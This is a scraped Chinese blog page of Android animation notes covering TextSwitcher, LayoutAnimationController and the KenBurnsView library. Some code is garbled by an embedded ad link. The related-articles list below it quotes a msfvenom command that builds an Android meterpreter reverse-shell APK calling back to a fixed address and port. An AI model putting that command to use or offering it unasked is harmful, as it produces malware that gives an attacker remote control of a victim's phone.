Android.Hack.02_Animations
#01# TextView 和 ImageView
TextView和Imageview切换卡顿,为了实现更好的切换,可以用动画来实现,系统自带的TextViewSwitcher 和ImageViewSwitcher,其中设置自定义动画,可以使用如下Demo:
private TextSwitcher mTextSwitcher;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Animation in = AnimationUtils.loadAnimation(this,
android.R.anim.fade_in);
Animation out = AnimationUtils.loadAnimation(this,
android.R.anim.fade_out);
mTextSwitcher = (TextSwitcher) findViewById(R.id.your_textview);
mTextSwitcher.setFactory(new ViewFactory() {
@Override
public View makeView() {
TextView t = new TextView(YourActivity.this);
t.setGravity(Gravity.CENTER);
//21 Adding eye candy to your ViewGroup’s children
return t;
}
});
mTextSwitcher.setInAnimation(in);
mTextSwitcher.setOutAnimation(out);
}
参考链接:http://developer.android.com/reference/android/widget/TextSwitcher.html
http://developer.android.com/guide/topics/graphics/view-animation.html
#02# 为viewgroup的children添加动画-----LayoutAnimationController
例子是最好的诠释:
mListView = (ListView) findViewById(R.id.my_listview_id);
AnimationSet set = new AnimationSet(true);
Animation animation = new AlphaAnimation(0.0f, 1.0f);
animation.setDuration(50);
set.addAnimation(animation);
animation = new TranslateAnimation(Animation.RELATIVE_TO_SELF, 0.0f,
Animation.RELATIVE_TO_SELF, 0.0f, Animation.RELATIVE_TO_SELF,
- 1.0f, Animation.RELATIVE_TO_SELF, 0.0f);
animation.setDuration(100);
set.addAnimation(animation);
LayoutAnimationController controller = new LayoutAnimationController(
set, 0.5f);
Create LayoutAnimationController
and delay between animations. mListView.setLayoutAnimation(controller);
参考链接:http://developer.android.com/reference/android/view/animation/LayoutAnimationController.html
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
#03# Android 使用NineOldAndroids实现绚丽的ListView左右滑动删除Item效果
Nine Old Androids 亦可以实现,图片的缩放的效果,跟官方API里面的图片效果一样。即是::Ken Burns特效,
比较详细的Demo,已经有人翻译过了:
:http://blog.csdn.net/manoel/article/details/39164225
一个实现Ken Burns effect图片展示效果的效果android控件。Ken Burns effect是一种图片在切换之前,会缓慢在页面移动或者放大缩小,然后再慢慢切换过去。这样的效果使得每一张静止图片都有动态的效果感觉。类似的效果在电子相册,或者在电影视频对静态图片的处理中经常可见。
项目地址https://github.com/flavioarfaria/KenBurnsView
用法:
最简单的用法是直接将项目中提供的jar文件放入,然后在xml中添加:
|
1
2
3
4
5
|
<com.flaviofaria.kenburnsview.KenBurnsView <span id="1_nwp" style="width: auto; height: auto; float: none;"><a id="1_nwl" href="http://cpro.baidu.com/cpro/ui/uijs.php?rs=1&u=http%3A%2F%2Fwww%2Ejcodecraeer%2Ecom%2Fa%2Fanzhuokaifa%2Fandroidkaifa%2F2014%2F0920%2F1698%2Ehtml&p=baidu&c=news&n=10&t=tpclicked3_hc&q=01072140_cpr&k=android&k0=android&kdi0=8&k1=%B6%AF%BB%AD&kdi1=8&k2=%B5%E7%D7%D3%CF%E0%B2%E1&kdi2=8&sid=861a9a46d40c70b6&ch=0&tu=u1921070&jk=015869c8e072c03f&cf=29&rb=0&fv=16&stid=9&urlid=0&luki=1&seller_id=1&di=128" target="_blank" mpid="1" style="text-decoration: none;"><span style="color:#0000ff;font-size:14px;width:auto;height:auto;float:none;">android</span></a></span>:id="@+id/image" android:layout_width="match_parent" android:layout_height="match_parent" android:src="@drawable/your_drawable" /> |
高级用法:
1.设置listener:
|
1
2
3
4
5
6
7
8
9
|
KenBurnsView kbv = (KenBurnsView) findViewById(R.id.image);kbv.setTransitionListener(new TransitionListener() { @Override public void onTransitionStart(Transition transition) { } @Override public void onTransitionEnd(Transition transition) { }}); |
2.你可以用kbv.pause() 和 kbv.resume();暂停和恢复动画。
3.你可以设置动画的插值和过度时间:
|
1
2
|
RandomTransitionGenerator generator = new RandomTransitionGenerator(duration, interpolator);kbv.setTransitionGenerator(generator);
|
Android.Hack.02_Animations的更多相关文章
- [可用]android hack
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.237 LPORT=4444 R > shell.apk service ...
- Android逆向工程初步(一) 15.4.24
最近看了看Android的逆向工程,破解的书,像是<Android Hack‘s Book>之类的,感觉挺有意思的,看了看一些smali的语法,试着自己写了个demo玩玩: 1.工具: 最 ...
- Android.Hacks.01_Centering views using weights
Android.Hacks读书笔记01 #1#权重布局之解析: LinearLayout ’s android:weightSum LinearLayout ’s child android ...
- android 4.4.3 css hack 写法
最近发现android在4.4.3上面出现很多怪异的现象,现在虽然没有找到原因和解决方案,但是突然间找到一个css hack写法: button{ display:none; width:$rem*4 ...
- Android插件化(五):OpenAtlasの四大组件的Hack
Android插件化(五):OpenAtlasの四大组件的Hack 转 https://www.300168.com/yidong/show-2776.html 核心提示:引言到目前为止,我们已经 ...
- 【腾讯Bugly干货分享】Android Patch 方案与持续交付
本文来自于腾讯bugly开发者社区,非经作者同意,请勿转载,原文地址:http://dev.qq.com/topic/57a31921ac3a1fb613dd40f3 Android 不仅系统版本众多 ...
- 快速Android开发系列网络篇之Volley
Volley是Google推出的一个网络请求库,已经被放到了Android源码中,地址在这里,先看使用方法 RequestQueue mRequestQueue = Volley.newRequest ...
- Android换肤技术总结
原文出处: http://blog.zhaiyifan.cn/2015/09/10/Android%E6%8D%A2%E8%82%A4%E6%8A%80%E6%9C%AF%E6%80%BB%E7%BB ...
- Android安全攻防战,反编译与混淆技术完全解析(上)
转载请注明出处:http://blog.csdn.net/guolin_blog/article/details/49738023 之前一直有犹豫过要不要写这篇文章,毕竟去反编译人家的程序并不是什么值 ...
随机推荐
- hdu2206IP的计算
Problem Description 在网络课程上,我学到了很多有关IP的知识.IP全称叫网际协议,有时我们又用IP来指代我们的IP网络地址,现在IPV4下用一个32位无符号整数来表示,一般用点分方 ...
- 在Vim中查看文件编码
:set fileencoding 即可显示文件编码格式. 如果你只是想查看其它编码格式的文件或者想解决 用Vim查看文件乱码的问题,那么在 ~/.vimrc 文件中添加以下内容: set encod ...
- Struct和Class的区别
转载至:http://blog.csdn.net/yuliu0552/article/details/6717915 C++中的struct对C中的struct进行了扩充,它已经不再只是一个包含不同数 ...
- F - The Fun Number System(第二季水)
Description In a k bit 2's complement number, where the bits are indexed from 0 to k-1, the weight o ...
- 熟悉Git使用
熟悉Git使用安装git后请修改提交用的用户名和邮箱命令:git config --global user.name "Your Name" git config --global ...
- Android icons集合
Android icons集合: Be aware that the style changes occur fairly regularly with each major release, so ...
- Windows下使用TensorFlow
上一篇日志(http://www.cnblogs.com/huidong/p/5426556.html)写了如何在Windows下安装Docker,并且在VM上安装TensorFlow. 在Windo ...
- 【转】aiohttp 源码解析之 request 的处理过程
[转自 太阳尚远的博客:http://blog.yeqianfeng.me/2016/04/01/python-yield-expression/] 使用过 python 的 aiohttp 第三方库 ...
- 使用委托解决"线程间操作无效: 从不是创建控件“textBox1”的线程访问它" 问题
在winform编程中常遇到此类问题,造成辅助线程无法给控件赋值 //定义委托 private delegate void SetTextCallback(string text); //在给text ...
- YUI的模块化开发
随着互联网应用越来越重,js代码越来越庞大,如何有效的去组织自己的代码,变得非常重要.我们应该学会去控制自己的代码,而不是到最后一堆bug完全不知道从哪冒出来.前端的模块化开发可以帮助我们有效的去管理 ...